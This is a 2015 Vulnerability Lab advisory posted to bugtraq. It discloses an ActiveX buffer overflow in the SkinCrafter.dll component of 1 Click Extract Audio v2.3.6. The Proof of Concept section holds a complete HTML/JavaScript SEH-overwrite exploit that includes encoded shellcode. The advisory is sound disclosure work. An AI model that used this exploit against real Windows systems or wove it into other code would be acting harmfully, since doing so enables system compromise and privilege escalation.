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Message-ID: <55717FB2.6070105@vulnerability-lab.com> Date: Fri, 05 Jun 2015 12:53:38 +0200 From: Vulnerability Lab <research@...nerability-lab.com> To: bugtraq@...urityfocus.com, bugs@...uritytracker.com Subject: 1 Click Extract Audio v2.3.6 - Activex Buffer Overflow Document Title: =============== 1 Click Extract Audio v2.3.6 - Activex Buffer Overflow References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1506 Video: http://www.vulnerability-lab.com/get_content.php?id=1507 Release Date: ============= 2015-06-05 Vulnerability Laboratory ID (VL-ID): ==================================== 1506 Common Vulnerability Scoring System: ==================================== 6.1 Product & Service Introduction: =============================== How many times have you watched a video with a fantastic piece of music on it? Wouldn`t it be great if you could make an MP3 file to play on your computer, or MP3/media player? 1Click Extract Audio is a totally FREE audio extractor, which provides you a handy tool to extract audio/sound or background music from videos. One handy utility that everyone needs nowadays is a software program that can extract audio, sound, or background music from home movies, YouTube videos, or any other video file. With just one click, you can easily extract audio tracks from AVI, MPEG, MPG, FLV (Flash Video), DAT, WMV, MOV, MP4, 3GP video files and save them as MP3, WAV and AC3 formats. It also has the ability to extract audio from only a portion of the video, instead of the entire file. This is a very basic editing feature, but it’s really helpful because you don’t have to download any sound editing software if you want only some parts of the audio. (Copy of the Vendor Homepage: http://www.dvdvideotool.com/extractaudio.htm ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered an activex buffer overflow vulnerability in the official 1 Click Extract Audio v2.3.6 software. Vulnerability Disclosure Timeline: ================================== 2015-06-05: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== DVDVideoTool Product: 1 Click Extract Audio - Software (Windows) 2.3.6 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ An activeX buffer overflow vulnerability has been discovered in the official 1 Click Extract Audio v2.3.6 software. The buffer overflow vulnerability can be exploited by local attackers to compromise a target system or to gain higher access privileges for further exploitation. The buffer overflow vulnerability is located in the COM component used by the product SkinCrafter.dll (dynamic library). The vulnerability is available with poc demo code and security video to demonstrate how to exploit the issue via activex component. The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.1. Exploitation of the vulnerability requires a low privilege system user account and no user interaction. Successful exploitation of the vulnerability results in system compromise by elevation of privileges via overwrite of the registers. Proof of Concept (PoC): ======================= The activex buffer overflow vulnerability can be exploited by local attackers without user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. <html> <br>1 Click Extract Audio Activex Buffer Overflow</br> <br>Affected version=2.3.6</br> <br>Vendor Homepage:http://www.dvdvideotool.com/index.htm</br> <br>Software Link:www.dvdvideotool.com/1ClickExtractAudio.exe</br> <br>The vulnerability lies in the COM component used by the product SkinCrafter.dll </br> <br>SkinCrafter.dll version.1.9.2.0</br> <br>Vulnerability tested on Windows Xp Sp3 (EN),with IE6</br> <br>Author: metacom</br> <!--Video Poc: http://bit.ly/1SYwV3u --> <object classid='clsid:125C3F0B-1073-4783-9A7B-D33E54269CA5' id='target' ></object> <script > junk1 = ""; while(junk1.length < 2048) junk1+="A"; nseh = "\xeb\x06\xff\xff"; seh = "\x58\xE4\x04\x10"; nops= ""; while(nops.length < 50) nops+="\x90"; shellcode =( "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+ "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+ "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+ "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+ "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+ "\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"+ "\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"+ "\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"+ "\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"+ "\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"+ "\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"+ "\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"+ "\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"+ "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+ "\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"+ "\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"+ "\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"+ "\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"+ "\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"+ "\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"+ "\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"+ "\x4e\x46\x43\x36\x42\x50\x5a"); junk2 = ""; while(junk2.length < 2048) junk2+="B"; payload = junk1 + nseh + seh + nops+ shellcode + junk2; arg1=payload; arg1=arg1; arg2="defaultV"; arg3="defaultV"; arg4="defaultV"; arg5="defaultV"; target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 ,arg5 ); </script> </html> Security Risk: ============== The security risk of the activex buffer overflow vulnerability is estimated as high. (CVSS 6.1) Credits & Authors: ================== metacom (PwC New Zealand) - [http://www.vulnerability-lab.com/show.php?user=metacom] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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